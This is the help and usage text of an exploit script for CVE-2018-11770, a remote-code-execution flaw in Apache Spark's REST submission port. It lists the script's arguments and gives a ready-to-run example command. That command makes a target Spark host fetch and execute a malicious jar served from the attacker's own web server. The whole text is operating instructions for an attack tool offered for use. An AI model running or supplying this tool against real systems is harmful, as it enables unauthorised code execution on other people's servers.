usage: CVE-2018-11770.py [-h] [-httpdelay HTTPDELAY] -rhost RHOST
                         [-rport RPORT] -srvhost SRVHOST [-srvport SRVPORT]
                         [-uripath URIPATH] -payload PAYLOAD

Call the exploit like this: 
./CVE-2018-11770.py -httpdelay 10 -rhost 192.168.92.153 -rport 6066 -srvhost 192.168.92.134 -srvport 8080 -uripath path -payload exploit.jar

Required arguments:
  -rhost RHOST          Target host running Apache Spark eg. 192.168.92.153
  -srvhost SRVHOST      The local host to listen on. This must be an address on the local machine that Apache Spark can reach eg 192.168.92.134
  -payload PAYLOAD      Path to the malicious jar. eg dir/exploit.jar

Optional arguments:
  -httpdelay HTTPDELAY  Number of seconds the web server will wait before termination. Default: 10s
  -rport RPORT          Target port running Apache Spark. Default: 6066
  -srvport SRVPORT      The local port to listen on. Default: 8080
  -uripath URIPATH      The URI path for Webserver to serve for this exploit Default: path  as in eg. http://192.168.92.134/path
